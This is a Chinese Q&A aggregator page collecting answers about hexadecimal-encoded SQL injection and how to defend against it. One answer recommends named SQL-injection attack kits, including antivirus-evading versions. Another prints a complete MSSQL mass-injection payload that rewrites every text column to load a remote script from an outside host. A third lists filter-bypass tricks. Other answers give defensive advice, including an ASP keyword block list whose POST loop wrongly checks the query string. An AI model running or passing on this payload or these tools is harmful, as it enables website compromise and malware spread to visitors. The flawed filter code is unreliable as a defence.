當前位置:首頁 » 編程語言 » 16進制sql注入
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

16進制sql注入

發布時間: 2022-09-26 11:55:27

① 關於sql注入的問題

樓主可以用
明小子
啊D工具包
PHP MYSQL網站注入掃描工具
PHP腳本掃描器 V1.0
HDsi3.0 軍火倉庫專用版
SQL綜合利用工具包2006年6月22號整理
SQL注入16進制轉換工具
黑朋專用免殺版SQL綜合利用工具
多線程網站後台掃描工具
網站獵手2.0版
通用注入
個人推薦用啊D功能很強大
但是通常的殺毒軟體會報毒,慎重使用

② SQL注入語句

沒編什麼碼
就直接轉換成ascii就行了
declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar,['+@c+']))+''</title><script src=http://asa.ss.la/1.js></script>''') fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor
總體思想就是把你的html代碼里插入一段js
js來自http://asa.ss.la/1.js

③ SQL注入問題

通用的asp防注入程序.杜絕SQL注入隱患.提升網站安全

一般的http請求不外乎 get 和 post,所以只要我們在文件中過濾所有post或者get請求中的參數信息中非法字元即可,所以我們實現http 請求信息過濾就可以判斷是是否受到sql注入攻擊。
IIS傳遞給asp.dll的get請求是是以字元串的形式,當傳遞給Request.QueryString數據後,asp解析器會分析Request.QueryString的信息,然後根據"&",分出各個數組內的數據所以get的攔截如下:
首先我們定義請求中不能包含如下字元
'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare|xp_cmdshell
各個字元用"|"隔開,,然後我們判斷的得到的Request.QueryString
具體代碼如下

程序代碼:

Dim sql_injdata
SQL_injdata = "'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare|xp_cmdshell"
SQL_inj = split(SQL_Injdata,"|")

If Request.QueryString<>"" Then
For Each SQL_Get In Request.QueryString
For SQL_Data=0 To Ubound(SQL_inj)
If InStr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0 Then
Response.Write("<script language=""javascript"" type=""text/javascript"">alert(""提交的信息中包含非法字元!"");</script>")
Response.End()
End If
Next
Next
End If

這樣我們就實現了get請求的注入的攔截,但是我們還要過濾post請求,所以我們還得繼續考慮request.form,這個也是以數組形式存在的,,我們只需要再進一次循環判斷即可。代碼如下

程序代碼:
If Request.Form<>"" Then
For Each SQL_Get In Request.Form
For SQL_Data=0 To Ubound(SQL_inj)
If InStr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0 Then
Response.Write("<script language=""javascript"" type=""text/javascript"">alert(""提交的信息中包含非法字元!"");</script>")
Response.End()
End If
Next
Next
End If

現在已經實現了get和post請求的信息攔截,只需要在conn.asp之類的打開資料庫文件之前引用這個頁面即可。
實例:
Option Explicit
'//SQL注入攔截開始
Dim SQL_injdata, SQL_inj, SQL_Get, SQL_Data
SQL_injdata = "'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"
SQL_inj = Split(SQL_Injdata,"|")

If Request.QueryString<>"" Then Call KillSQLinj(Request.QueryString)'//get方式攔截
If Request.Form<>"" Then Call KillSQLinj(Request.Form)'//post方式攔截

Sub KillSQLinj(fashion)
For Each SQL_Get In fashion
For SQL_Data=0 To Ubound(SQL_inj)
If InStr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0 Then
Response.Write("<script language=""javascript"" type=""text/javascript"">alert(""提交的信息中包含非法字元!"");</script>")
Response.End()
End If
Next
Next
End Sub
'//SQL注入攔截結束

要是回答的內容有問題,或認為不妥,請發送網路消息給我,消息內容加上本頁網址哦。。

·

④ 求助,關於SQL注入如何繞過SELECT語句的過濾

1,:轉換個別字母大小寫,無效

2:輸入SESELECTLECT之類的語句來代替SELECT,無效

3:用轉義的URL編碼來代替SELECT(不知道這么表述對不對,就是%後面跟上16進制的ascii碼……),無效

4:用/**/來隔開SELECT中的各個字母,無效

⑤ sql 注入是什麼

SQL注入是一種注入攻擊,可以執行惡意SQL語句。它通過將任意SQL代碼插入資料庫查詢,使攻擊者能夠完全控制Web應用程序後面的資料庫伺服器。攻擊者可以使用SQL注入漏洞繞過應用程序安全措施;可以繞過網頁或者Web應用程序的身份驗證和授權,並檢索整個SQL資料庫的內容;還可以使用SQL注入來添加,修改和刪除資料庫中的記錄。
SQL注入漏洞可能會影響使用SQL資料庫的任何網站或Web應用程序。犯罪分子可能會利用它來未經授權訪問用戶的敏感數據:客戶信息,個人數據,商業機密,知識產權等。雖然最古老,但非常流行,也是最危險的Web應用程序漏洞之一。

⑥ SQL注入的編碼轉換問題

將select等等語句,轉換為ASCII或16進制,通過URL的方法傳遞到伺服器。
這一步是沒有問題的。

傳到伺服器之後,誰再幫你的編碼轉回來呢?

URL的注入早就過時了。

⑦ 專家您好,我的網站最近被SQL注入了,是十六進制的求大神幫助

你可以參數化SQL和存儲過程,或者把字元串的單引號替換成2個單引號。 過濾特殊字元串的方法不合理也不安全,只要把它轉換為16進制你就掛了,就算你過濾掉如:以0x開頭的16進制標識也沒用。

⑧ php中防止SQL注入,該如何解決


防sql注入的一個簡單方法就是使用框架,一般成熟框架中會集成各種安全措施。

當然也可以自己處理,如果用戶的輸入能直接插入到SQL語句中,那麼這個應用就易收到SQL注入的攻擊。我認為最重要的一點,就是要對數據類型進行檢查和轉義。

php.ini

------------

display_errors 選項,應該設為display_errors = off。這樣 php 腳本出錯之後,不會在 web 頁面輸出錯誤,以免讓攻擊者分析出有作的信息。

打開magic_quotes_gpc來防止SQL注入,magic_quotes_gpc= Off,這個默認是關閉的,如果它打開後將自動把用戶提交對sql的查詢進行轉換,比如把 ' 轉為 '等,對於防止sql注射有重大作用。如果magic_quotes_gpc=Off,則使用addslashes()函數。


mysql 函數

---------------

調用mysql_query 等mysql 函數時,前面應該加上 @,即 @mysql_query(...),這樣 mysql 錯誤不會被輸出。同理以免讓攻擊者分析出有用的信息。另外,有些程序員在做開發時,當mysql_query出錯時,習慣輸出錯誤以及sql 語句。

mysql_real_escape_string -- 轉義 SQL 語句中使用的字元串中的特殊字元,並考慮到連接的當前字元集。


Sql語句

------------

對提交的 sql 語句,進行轉義和類型檢查。如果請求是數值型,那麼調用is_numeric() 判斷是否為數值。如果不是,則返回程序指定的默認值。簡單起見,對於文本串,我將用戶輸入的所有危險字元(包括HTML代碼),全部轉義。由於php 函數addslashes()存在漏洞,我用str_replace()直接替換。get_magic_quotes_gpc()函數是php 的函數,用來判斷magic_quotes_gpc 選項是否打開。


其它

---------

使用預處理語句和參數化查詢(PDO或mysqli)。預處理語句和參數分別發送到資料庫伺服器進行解析,參數將會被當作普通字元處理。這種方式使得攻擊者無法注入惡意的SQL。

⑨ php如何防止sql注入

這個方法比較多,這里簡單舉個例子:
提交的變數中所有的
'
(單引號),
"
(雙引號),
\
(反斜線)
and
空字元會自動轉為含有反斜線的轉義字元,給SQL注入帶來不少的麻煩。
請看清楚:「麻煩」而已~這並不意味著PHP防範SQL注入,書中就講到了利用改變注入語句的編碼來繞過轉義的方法,比如將SQL語句轉成ASCII編碼(類似:char(100,58,92,108,111,99,97,108,104,111,115,116…)這樣的格式),或者轉成16進制編碼,甚至還有其他形式的編碼,這樣以來,轉義過濾便被繞過去了
//
去除轉義字元

function stripslashes_array($array) {
if (is_array($array)) {
foreach ($array as $k => $v) {
$array[$k] = stripslashes_array($v);
}
}
else if (is_string($array)) {
$array = stripslashes($array);
} return $array;
}
@set_magic_quotes_runtime(0); // 判斷 magic_quotes_gpc 狀態
if (@get_magic_quotes_gpc()) {
$_GET = stripslashes_array($_GET);
$_POST = stripslashes_array($_POST);
$_COOKIE = stripslashes_array($_COOKIE);
}PHP防範SQL注入的代碼
$keywords = addslashes($keywords); $keywords =
str_replace("_","\_",$keywords);//轉義掉」_」 $keywords =
str_replace("%","\%",$keywords);//轉義掉」%」

⑩ 這樣的SQL注入怎麼屏蔽

這個是16進制吧,應付SQL注入,關鍵是提交前的檢查,不加檢查的合成SQL並到資料庫中檢索數據是SQL注入唯一可能得逞的途徑,只要切斷這個就可以保證萬無一失了,另外關掉IIS等的錯誤提示也是非常重要的,這個可以防止偶爾忘記檢查的情況

你管它干什麼,編程的時候在合成SQL和檢索數據的時候,對不合適的一律屏蔽就可以了,對於這種顯然是屏蔽的對象,管他合不合法目的是什麼呢,一律屏蔽就OK了